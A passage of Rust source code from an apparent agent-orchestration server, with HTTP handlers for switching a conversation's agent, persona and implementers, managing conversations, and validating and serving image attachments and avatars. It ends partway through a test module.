8244 .await?;
8245 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8246 let talks = ui.talks.clone();
8247 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8248 }
8249 Ok(Json(view))
8250}
8251
8252fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8254 if talk.status.open() {
8255 return Ok(());
8256 }
8257 Err(ApiError::conflict(format!(
8258 "talk {} is {} and takes no more turns",
8259 talk.short(),
8260 talk.status.as_str()
8261 )))
8262}
8263
8264#[derive(Debug, Deserialize)]
8266struct TalkAgent {
8267 agent: String,
8268}
8269
8270async fn talk_agent(
8275 State(ui): State<Arc<Ui>>,
8276 Path(id): Path<String>,
8277 Json(body): Json<TalkAgent>,
8278) -> ApiResult<Json<TalkView>> {
8279 let id = {
8280 let ui = Arc::clone(&ui);
8281 blocking(move || resolve_talk(&ui.talks, &id)).await?
8282 };
8283 let repo = {
8284 let ui = Arc::clone(&ui);
8285 let id = id.clone();
8286 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8287 };
8288 let cfg = config_for(&repo).await?;
8289 {
8291 let ui = Arc::clone(&ui);
8292 let id = id.clone();
8293 let cfg = cfg.clone();
8294 let wanted = body.agent.clone();
8295 blocking(move || {
8296 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8297 .map_err(ApiError::bad_request_from)?;
8298 refuse_if_closed(&ui.talks.get(&id)?)
8299 })
8300 .await?;
8301 }
8302 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8303 return Err(ApiError::conflict(
8304 "a talk turn is running; change the agent once it has answered",
8305 ));
8306 };
8307 let switched = {
8308 let ui = Arc::clone(&ui);
8309 let id = id.clone();
8310 let cfg = cfg.clone();
8311 blocking(move || {
8312 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8313 .map_err(ApiError::bad_request_from)?;
8314 let mut talk = ui.talks.get(&id)?;
8315 if !talk.status.open() {
8316 return Err(ApiError::conflict(format!(
8317 "talk {} is {} and takes no more turns",
8318 talk.short(),
8319 talk.status.as_str()
8320 )));
8321 }
8322 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8323 Ok(talk)
8324 })
8325 .await
8326 };
8327 let observed = ui.queued_generation(&id);
8332 let fresh = {
8333 let ui = Arc::clone(&ui);
8334 let id = id.clone();
8335 blocking(move || Ok(ui.talks.get(&id)?)).await
8336 };
8337 let draining = match fresh {
8338 Ok(talk) => {
8339 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8340 }
8341 Err(_) => false,
8342 };
8343 let talk = switched?;
8344 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8345}
8346
8347#[derive(Debug, Deserialize)]
8349struct TalkPersona {
8350 persona: String,
8351}
8352
8353async fn talk_persona(
8357 State(ui): State<Arc<Ui>>,
8358 Path(id): Path<String>,
8359 Json(body): Json<TalkPersona>,
8360) -> ApiResult<Json<TalkView>> {
8361 let id = {
8362 let ui = Arc::clone(&ui);
8363 blocking(move || resolve_talk(&ui.talks, &id)).await?
8364 };
8365 let repo = {
8366 let ui = Arc::clone(&ui);
8367 let id = id.clone();
8368 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8369 };
8370 let cfg = config_for(&repo).await?;
8371 {
8373 let ui = Arc::clone(&ui);
8374 let id = id.clone();
8375 let cfg = cfg.clone();
8376 let wanted = body.persona.clone();
8377 blocking(move || {
8378 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8379 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8380 }
8381 refuse_if_closed(&ui.talks.get(&id)?)
8382 })
8383 .await?;
8384 }
8385 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8386 return Err(ApiError::conflict(
8387 "a talk turn is running; change the persona once it has answered",
8388 ));
8389 };
8390 let switched = {
8391 let ui = Arc::clone(&ui);
8392 let id = id.clone();
8393 let cfg = cfg.clone();
8394 blocking(move || {
8395 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8396 return Err(ApiError::bad_request(format!(
8397 "unknown persona `{}`",
8398 body.persona
8399 )));
8400 };
8401 let mut talk = ui.talks.get(&id)?;
8402 if !talk.status.open() {
8403 return Err(ApiError::conflict(format!(
8404 "talk {} is {} and takes no more turns",
8405 talk.short(),
8406 talk.status.as_str()
8407 )));
8408 }
8409 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8410 Ok(talk)
8411 })
8412 .await
8413 };
8414 let observed = ui.queued_generation(&id);
8416 let fresh = {
8417 let ui = Arc::clone(&ui);
8418 let id = id.clone();
8419 blocking(move || Ok(ui.talks.get(&id)?)).await
8420 };
8421 let draining = match fresh {
8422 Ok(talk) => {
8423 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8424 }
8425 Err(_) => false,
8426 };
8427 let talk = switched?;
8428 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8429}
8430
8431#[derive(Debug, Deserialize)]
8433struct TalkImplementers {
8434 implementers: u8,
8435}
8436
8437async fn talk_implementers(
8441 State(ui): State<Arc<Ui>>,
8442 Path(id): Path<String>,
8443 Json(body): Json<TalkImplementers>,
8444) -> ApiResult<Json<TalkView>> {
8445 let id = {
8446 let ui = Arc::clone(&ui);
8447 blocking(move || resolve_talk(&ui.talks, &id)).await?
8448 };
8449 let repo = {
8450 let ui = Arc::clone(&ui);
8451 let id = id.clone();
8452 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8453 };
8454 let cfg = config_for(&repo).await?;
8455 {
8460 let ui = Arc::clone(&ui);
8461 let id = id.clone();
8462 let cfg = cfg.clone();
8463 let wanted = body.implementers;
8464 blocking(move || {
8465 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8466 refuse_if_closed(&ui.talks.get(&id)?)
8467 })
8468 .await?;
8469 }
8470 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8471 return Err(ApiError::conflict(
8472 "a talk turn is running; change the implementers once it has answered",
8473 ));
8474 };
8475 let switched = {
8476 let ui = Arc::clone(&ui);
8477 let id = id.clone();
8478 let cfg = cfg.clone();
8479 blocking(move || {
8480 let chosen =
8481 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8482 let mut talk = ui.talks.get(&id)?;
8483 if !talk.status.open() {
8484 return Err(ApiError::conflict(format!(
8485 "talk {} is {} and takes no more turns",
8486 talk.short(),
8487 talk.status.as_str()
8488 )));
8489 }
8490 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8491 Ok(talk)
8492 })
8493 .await
8494 };
8495 let observed = ui.queued_generation(&id);
8497 let fresh = {
8498 let ui = Arc::clone(&ui);
8499 let id = id.clone();
8500 blocking(move || Ok(ui.talks.get(&id)?)).await
8501 };
8502 let draining = match fresh {
8503 Ok(talk) => {
8504 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8505 }
8506 Err(_) => false,
8507 };
8508 let talk = switched?;
8509 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8510}
8511
8512async fn talk_close(
8514 State(ui): State<Arc<Ui>>,
8515 Path(id): Path<String>,
8516) -> ApiResult<Json<TalkView>> {
8517 blocking(move || {
8518 let id = resolve_talk(&ui.talks, &id)?;
8519 let mut talk = ui.talks.get(&id)?;
8520 talk::close(&mut talk, &ui.talks)?;
8521 let thinking = ui.is_thinking(&talk.id);
8522 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8523 })
8524 .await
8525}
8526
8527async fn talk_reopen(
8529 State(ui): State<Arc<Ui>>,
8530 Path(id): Path<String>,
8531) -> ApiResult<Json<TalkView>> {
8532 blocking(move || {
8533 let id = resolve_talk(&ui.talks, &id)?;
8534 let mut talk = ui.talks.get(&id)?;
8535 talk::reopen(&mut talk, &ui.talks)?;
8536 let thinking = ui.is_thinking(&talk.id);
8537 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8538 })
8539 .await
8540}
8541
8542async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8552 blocking(move || {
8553 let id = resolve_talk(&ui.talks, &id)?;
8554 ui.talks.remove(&id)?;
8555 Ok(StatusCode::NO_CONTENT)
8556 })
8557 .await
8558}
8559
8560fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8562 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8563}
8564
8565async fn talk_attachment_post(
8568 State(ui): State<Arc<Ui>>,
8569 Path(id): Path<String>,
8570 headers: HeaderMap,
8571 body: Bytes,
8572) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8573 let mime = validate_attachment(&headers, &body)?;
8574 let name = filename_header(&headers);
8575 let data = body.to_vec();
8576 blocking(move || {
8577 let id = resolve_talk(&ui.talks, &id)?;
8578 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8579 Ok((StatusCode::CREATED, Json(att)))
8580 })
8581 .await
8582}
8583
8584async fn talk_attachment_get(
8587 State(ui): State<Arc<Ui>>,
8588 Path((id, att)): Path<(String, String)>,
8589) -> ApiResult<Response> {
8590 blocking(move || {
8591 let id = resolve_talk(&ui.talks, &id)?;
8592 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8593 return Err(ApiError::not_found(format!(
8594 "talk {id} has no attachment `{att}`"
8595 )));
8596 };
8597 Ok(attachment_response(&meta.mime, data))
8598 })
8599 .await
8600}
8601
8602fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8605 let mut id = String::new();
8606 for b in p.id.bytes() {
8607 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8608 id.push(char::from(b));
8609 } else {
8610 id.push_str(&format!("%{b:02X}"));
8611 }
8612 }
8613 format!(
8614 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8615 persona_icon::fingerprint(p.icon.as_deref())
8616 )
8617}
8618
8619#[derive(Debug, Default, Deserialize)]
8620struct AvatarQuery {
8621 persona: Option<String>,
8622 builtin: Option<String>,
8624}
8625
8626const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8628
8629fn builtin_avatar(id: &str) -> Response {
8630 svg_avatar(persona_icon::builtin_svg(id))
8631}
8632
8633async fn operator_avatar() -> Response {
8634 svg_avatar(persona_icon::operator_svg())
8635}
8636
8637fn svg_avatar(svg: &'static str) -> Response {
8638 (
8639 [
8640 (header::CONTENT_TYPE, "image/svg+xml"),
8641 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8642 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8643 (header::CACHE_CONTROL, "no-cache"),
8644 ],
8645 svg,
8646 )
8647 .into_response()
8648}
8649
8650fn magi_icon_path(home: &FsPath) -> PathBuf {
8652 home.join("magi-icon.data")
8653}
8654
8655fn read_magi_icon(home: &FsPath) -> Option<String> {
8656 let path = magi_icon_path(home);
8657 let metadata = std::fs::metadata(&path).ok()?;
8658 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8659 return None;
8660 }
8661 let file = std::fs::File::open(path).ok()?;
8662 use std::io::Read;
8663 let mut text = String::new();
8664 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8665 .read_to_string(&mut text)
8666 .ok()?;
8667 if text.len() > persona_icon::ICON_MAX_BYTES {
8668 return None;
8669 }
8670 text.starts_with("data:").then_some(text)
8671}
8672
8673fn magi_icon_url(home: &FsPath) -> String {
8674 format!(
8675 "/avatars/magi?v={}",
8676 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8677 )
8678}
8679
8680async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8681 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8682}
8683
8684#[derive(Deserialize)]
8685struct MagiIconUpload {
8686 icon: String,
8687}
8688
8689fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8690 if !icon.starts_with("data:") {
8691 anyhow::bail!("upload a raster image");
8692 }
8693 let (mime, bytes) = persona_icon::load(icon)?;
8694 if sniffed_mime(&bytes) != Some(mime) {
8695 anyhow::bail!("image content does not match its type");
8696 }
8697 std::fs::create_dir_all(home)?;
8698 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8699 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8700 let result = (|| -> Result<()> {
8701 use std::io::Write;
8702 let mut file = std::fs::OpenOptions::new()
8703 .write(true)
8704 .create_new(true)
8705 .open(&temp)?;
8706 file.write_all(icon.as_bytes())?;
8707 file.sync_all()?;
8708 std::fs::rename(&temp, magi_icon_path(home))?;
8709 Ok(())
8710 })();
8711 let _ = std::fs::remove_file(temp);
8712 result?;
8713 Ok(())
8714}
8715
8716async fn magi_icon_put(
8717 State(ui): State<Arc<Ui>>,
8718 Json(upload): Json<MagiIconUpload>,
8719) -> ApiResult<Json<serde_json::Value>> {
8720 blocking(move || {
8721 if !upload.icon.starts_with("data:") {
8722 return Err(ApiError::bad_request("upload a raster image"));
8723 }
8724 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8725 if sniffed_mime(&bytes) != Some(mime) {
8726 return Err(ApiError::bad_request(
8727 "image content does not match its type",
8728 ));
8729 }
8730 save_magi_icon(&ui.home, &upload.icon)?;
8731 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8732 })
8733 .await
8734}
8735
8736async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8737 blocking(move || {
8738 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8739 Ok(()) => (),
8740 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8741 Err(e) => return Err(anyhow::Error::from(e).into()),
8742 }
8743 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8744 })
8745 .await
8746}
8747
8748async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8749 let icon = (q.builtin.is_none())
8750 .then(|| read_magi_icon(&ui.home))
8751 .flatten();
8752 let mut response = match icon
8753 .as_deref()
8754 .and_then(|icon| persona_icon::load(icon).ok())
8755 {
8756 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8757 attachment_response(mime, bytes)
8758 }
8759 _ => svg_avatar(persona_icon::magi_svg()),
8760 };
8761 response
8762 .headers_mut()
8763 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8764 response
8765}
8766
8767async fn talk_avatar(
8772 State(ui): State<Arc<Ui>>,
8773 Path(id): Path<String>,
8774 Query(q): Query<AvatarQuery>,
8775) -> ApiResult<Response> {
8776 blocking(move || {
8777 let id = resolve_talk(&ui.talks, &id)?;
8778 let talk = ui.talks.get(&id)?;
8779 let wanted = q
8780 .persona
8781 .as_deref()
8782 .map(str::trim)
8783 .filter(|p| !p.is_empty())
8784 .unwrap_or(&talk.persona)
8785 .to_owned();
8786 let specs = match Config::discover(&talk.repo, None) {
8787 Ok((cfg, _)) => cfg.talk.personas,
8788 Err(e) => {
8789 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8790 Vec::new()
8791 }
8792 };
8793 let Some(found) = persona::find(&specs, &wanted) else {
8794 return Ok(builtin_avatar(persona::DEFAULT_ID));
8795 };
8796 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8797 return Ok(builtin_avatar(&found.id));
8798 };
8799 match persona_icon::load(icon) {
8800 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8801 let mut res = attachment_response(mime, bytes);
8802 res.headers_mut().insert(
8803 header::CACHE_CONTROL,
8804 header::HeaderValue::from_static("no-cache"),
8805 );
8806 Ok(res)
8807 }
8808 Ok((mime, _)) => {
8809 tracing::warn!(
8810 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8811 found.id
8812 );
8813 Ok(builtin_avatar(&found.id))
8814 }
8815 Err(e) => {
8816 tracing::warn!(
8817 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8818 found.id
8819 );
8820 Ok(builtin_avatar(&found.id))
8821 }
8822 }
8823 })
8824 .await
8825}
8826
8827fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8838 if data.len() > ATTACHMENT_MAX_BYTES {
8839 return Err(ApiError::bad_request(format!(
8840 "attachment is {} bytes, over the {} MiB limit",
8841 data.len(),
8842 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8843 ))
8844 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8845 }
8846 if data.is_empty() {
8847 return Err(ApiError::bad_request("attachment is empty"));
8848 }
8849 let declared = declared_mime(headers)?;
8850 match sniffed_mime(data) {
8851 Some(sniffed) if sniffed == declared => Ok(declared),
8852 Some(sniffed) => Err(ApiError::bad_request(format!(
8853 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8854 ))),
8855 None => Err(ApiError::bad_request(
8856 "the file's bytes do not match any accepted image format",
8857 )),
8858 }
8859}
8860
8861fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8865 let raw = headers
8866 .get(header::CONTENT_TYPE)
8867 .and_then(|v| v.to_str().ok())
8868 .unwrap_or("")
8869 .split(';')
8870 .next()
8871 .unwrap_or("")
8872 .trim()
8873 .to_ascii_lowercase();
8874 ATTACHMENT_MIME_WHITELIST
8875 .iter()
8876 .find(|&&m| m == raw)
8877 .copied()
8878 .ok_or_else(|| {
8879 if raw == "image/svg+xml" {
8880 ApiError::bad_request(
8881 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8882 not just a picture",
8883 )
8884 } else if raw.is_empty() {
8885 ApiError::bad_request("Content-Type is required for an attachment upload")
8886 } else {
8887 ApiError::bad_request(format!(
8888 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8889 image/gif or image/webp"
8890 ))
8891 }
8892 })
8893}
8894
8895fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8898 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8899 Some("image/png")
8900 } else if data.starts_with(b"\xff\xd8\xff") {
8901 Some("image/jpeg")
8902 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8903 Some("image/gif")
8904 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8905 Some("image/webp")
8906 } else {
8907 None
8908 }
8909}
8910
8911fn filename_header(headers: &HeaderMap) -> String {
8917 headers
8918 .get(FILENAME_HEADER)
8919 .and_then(|v| v.to_str().ok())
8920 .map(str::trim)
8921 .filter(|s| !s.is_empty())
8922 .unwrap_or("attachment")
8923 .to_owned()
8924}
8925
8926fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8933 let content_type = ATTACHMENT_MIME_WHITELIST
8934 .iter()
8935 .find(|&&m| m == mime)
8936 .copied()
8937 .unwrap_or("application/octet-stream");
8938 (
8939 [
8940 (header::CONTENT_TYPE, content_type),
8941 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8942 ],
8943 body,
8944 )
8945 .into_response()
8946}
8947
8948async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8956 let repo = repo.to_path_buf();
8957 blocking(move || {
8958 let (cfg, _) = Config::discover(&repo, None)?;
8959 Ok(cfg)
8960 })
8961 .await
8962}
8963
8964fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8970 let mut hits = ids
8971 .into_iter()
8972 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8973 match (hits.next(), hits.next()) {
8974 (Some(one), None) => Ok(one),
8975 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8976 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8977 "`{prefix}` matches more than one {what}, including {a} and {b}"
8978 ))),
8979 }
8980}
8981
8982#[cfg(test)]
8983mod tests {
8984
8985 #[test]
8986 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8987 let dir = tempfile::tempdir().unwrap();
8988 let store = ask::Questions::at(dir.path().join("questions"));
8989 let mut q = Question::new(
8990 "task".to_owned(),
8991 "conduct".to_owned(),
8992 "conduct".to_owned(),
8993 "choose".to_owned(),
8994 String::new(),
8995 vec!["keep".to_owned()],
8996 );
8997 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8998 q.say("why?").unwrap();
8999 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
9000 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9001 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
9002 store.put(&mut q).unwrap();
9003 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9004 assert_eq!(store.count_needs_owner(), 1);
9005 store.beat(&q.id, ask::WaiterKind::Deputy);
9006 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9007 assert_eq!(store.count_needs_owner(), 0);
9008 let mut stale = store.read_lease(&q.id).unwrap();
9009 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9010 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9011 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9012 assert!(view.deputy_exhausted);
9013 assert!(view.waiting_on_agent);
9014 assert_eq!(view.question.choices, ["keep"]);
9015 store.drop_lease(&q.id);
9016 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9017 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9018 }
9019
9020 #[test]
9021 fn holder_reads_the_lease_not_the_record() {
9022 let mut q = Question::new(
9023 "run".to_owned(),
9024 "implement".to_owned(),
9025 "impl-A".to_owned(),
9026 "which?".to_owned(),
9027 String::new(),
9028 Vec::new(),
9029 );
9030 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9031 q.cwd = Some("/tmp".to_owned());
9032 assert_eq!(holder_of(&q, None), Some("nobody"));
9033 let beat = |kind, ago: i64| ask::Lease {
9034 kind,
9035 pid: 1,
9036 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9037 .unwrap(),
9038 };
9039 let fresh = beat(ask::WaiterKind::Asker, 1);
9040 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9041 let daemon = beat(ask::WaiterKind::Daemon, 1);
9042 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9043 let stale = beat(ask::WaiterKind::Asker, 3600);
9044 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9045
9046 let mut c = Question::new(
9049 "task".to_owned(),
9050 crate::conduct::NODE.to_owned(),
9051 "conduct".to_owned(),
9052 "which?".to_owned(),
9053 String::new(),
9054 Vec::new(),
9055 );
9056 assert_eq!(holder_of(&c, None), Some("nobody"));
9057 c.cwd = Some("/tmp".to_owned());
9058 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9059 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9060 let deputy = beat(ask::WaiterKind::Deputy, 1);
9061 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9062 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9063
9064 let mut r = Question::new(
9066 String::new(),
9067 crate::bump::NOTICE_NODE.to_owned(),
9068 "release-watch".to_owned(),
9069 "stuck?".to_owned(),
9070 String::new(),
9071 vec!["hold".to_owned()],
9072 );
9073 assert_eq!(holder_of(&r, None), Some("nobody"));
9074 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9075 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9076 r.deputy = None;
9078 r.seat = "bump".to_owned();
9079 assert_eq!(holder_of(&r, None), None);
9080
9081 let mut m = Question::new(
9084 "run".to_owned(),
9085 crate::land::APPROVAL_NODE.to_owned(),
9086 "land".to_owned(),
9087 "merge?".to_owned(),
9088 String::new(),
9089 Vec::new(),
9090 );
9091 assert_eq!(holder_of(&m, None), Some("nobody"));
9092 assert_eq!(
9093 holder_of(&m, Some(&fresh)),
9094 Some("asker"),
9095 "a live explicit wait is a listener even before a deputy is attached"
9096 );
9097 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9098 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9099 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9100 assert_eq!(holder_of(&m, None), Some("nobody"));
9101 }
9102
9103 fn stub_config() -> Config {
9104 Config {
9107 agents: vec![crate::config::AgentSpec {
9108 id: "stub".to_owned(),
9109 kind: AgentKind::Command,
9110 model: None,
9111 command: vec!["true".to_owned()],
9112 extra_args: Vec::new(),
9113 env: Default::default(),
9114 prompt_delivery: None,
9115 }],
9116 ..Config::default()
9117 }
9118 }
9119
9120 fn plain_question(seat: &str) -> Question {
9121 Question::new(
9122 String::new(),
9123 "n".to_owned(),
9124 seat.to_owned(),
9125 "s".to_owned(),
9126 String::new(),
9127 Vec::new(),
9128 )
9129 }
9130
9131 #[test]
9132 fn deputies_enabled_follows_the_config() {
9133 let on = stub_config();
9134 assert!(crate::deputy::can_start(Some(&on), ""));
9135 assert!(crate::deputy::can_start(Some(&on), "stub"));
9136 let mut off = on.clone();
9137 off.daemon.max_deputies = 0;
9138 assert!(!crate::deputy::can_start(Some(&off), ""));
9139 let mut empty = on;
9140 empty.agents.clear();
9141 assert!(!crate::deputy::can_start(Some(&empty), ""));
9142 assert!(!crate::deputy::can_start(None, ""));
9143 }
9144
9145 #[test]
9146 fn question_views_load_the_config_once() {
9147 let dir = TempDir::new().unwrap();
9148 let store = ask::Questions::at(dir.path().to_path_buf());
9149 let mut with_deputy = plain_question("b");
9150 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9151 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9152
9153 let calls = std::cell::Cell::new(0usize);
9154 let views = question_views(qs.clone(), &store, || {
9155 calls.set(calls.get() + 1);
9156 Some(stub_config())
9157 });
9158 assert_eq!(calls.get(), 1);
9159 assert_eq!(views.len(), 3);
9160 for (v, q) in views.iter().zip(&qs) {
9161 assert_eq!(
9162 v.deputies_enabled,
9163 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9164 );
9165 }
9166
9167 let views = question_views(qs, &store, || None);
9168 assert!(views.iter().all(|v| !v.deputies_enabled));
9169
9170 let calls = std::cell::Cell::new(0usize);
9171 let views = question_views(Vec::new(), &store, || {
9172 calls.set(calls.get() + 1);
9173 None
9174 });
9175 assert!(views.is_empty());
9176 assert_eq!(calls.get(), 0);
9177 }
9178
9179 use pretty_assertions::assert_eq;
9180 use serde_json::Value;
9181 use tempfile::TempDir;
9182 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9183
9184 use super::*;
9185 use crate::config::Config;
9186 use crate::queue::Source;
9187
9188 const SETTLE_STEPS: usize = 3_000;
9199
9200 struct Fixture {
9206 home: TempDir,
9207 addr: SocketAddr,
9208 }
9209
9210 impl Fixture {
9211 async fn start() -> Self {
9212 Self::with_loop(launch_idle).await
9213 }
9214
9215 async fn with_loop(launch: Launch) -> Self {
9217 let home = TempDir::new().expect("temp home");
9218 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9219 Self { home, addr }
9220 }
9221
9222 async fn with_repo(repo: PathBuf) -> Self {
9226 let home = TempDir::new().expect("temp home");
9227 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9228 Self { home, addr }
9229 }
9230
9231 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9234 let home = TempDir::new().expect("temp home");
9235 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9236 Self { home, addr }
9237 }
9238
9239 async fn serve(
9240 home: &FsPath,
9241 repo: PathBuf,
9242 launch: Launch,
9243 machine: Option<PathBuf>,
9244 ) -> SocketAddr {
9245 let queue = Queue::at(home.join("queue"));
9246 let runs = home.join("runs");
9247 std::fs::create_dir_all(&runs).expect("runs dir");
9248 let worktrees = home.join("wt").join("magi");
9249 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9250 let ui = Ui::new(
9251 queue,
9252 Questions::at(home.join("questions")),
9253 Talks::at(home.join("talks")),
9254 runs,
9255 home.to_path_buf(),
9256 repo,
9257 )
9258 .with_worktrees_root(worktrees)
9259 .with_machine_config(machine)
9260 .with_launch(launch);
9261 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9262 .await
9263 .expect("bind loopback");
9264 let addr = listener.local_addr().expect("local addr");
9265 tokio::spawn(async move {
9266 let router = ui
9267 .router()
9268 .layer(axum::middleware::from_fn(request_cost::observe));
9269 let _ = axum::serve(listener, router).await;
9270 });
9271 addr
9272 }
9273
9274 fn queue(&self) -> Queue {
9275 Queue::at(self.home.path().join("queue"))
9276 }
9277
9278 fn questions(&self) -> Questions {
9279 Questions::at(self.home.path().join("questions"))
9280 }
9281
9282 fn talks(&self) -> Talks {
9283 Talks::at(self.home.path().join("talks"))
9284 }
9285
9286 fn runs(&self) -> PathBuf {
9287 self.home.path().join("runs")
9288 }
9289
9290 async fn get(&self, path: &str) -> Res {
9291 request(self.addr, "GET", path, None).await
9292 }
9293
9294 async fn head(&self, path: &str) -> Res {
9299 request(self.addr, "HEAD", path, None).await
9300 }
9301
9302 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9303 request(self.addr, "POST", path, body).await
9304 }
9305
9306 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9307 request_with(self.addr, "GET", path, None, extra).await
9308 }
9309
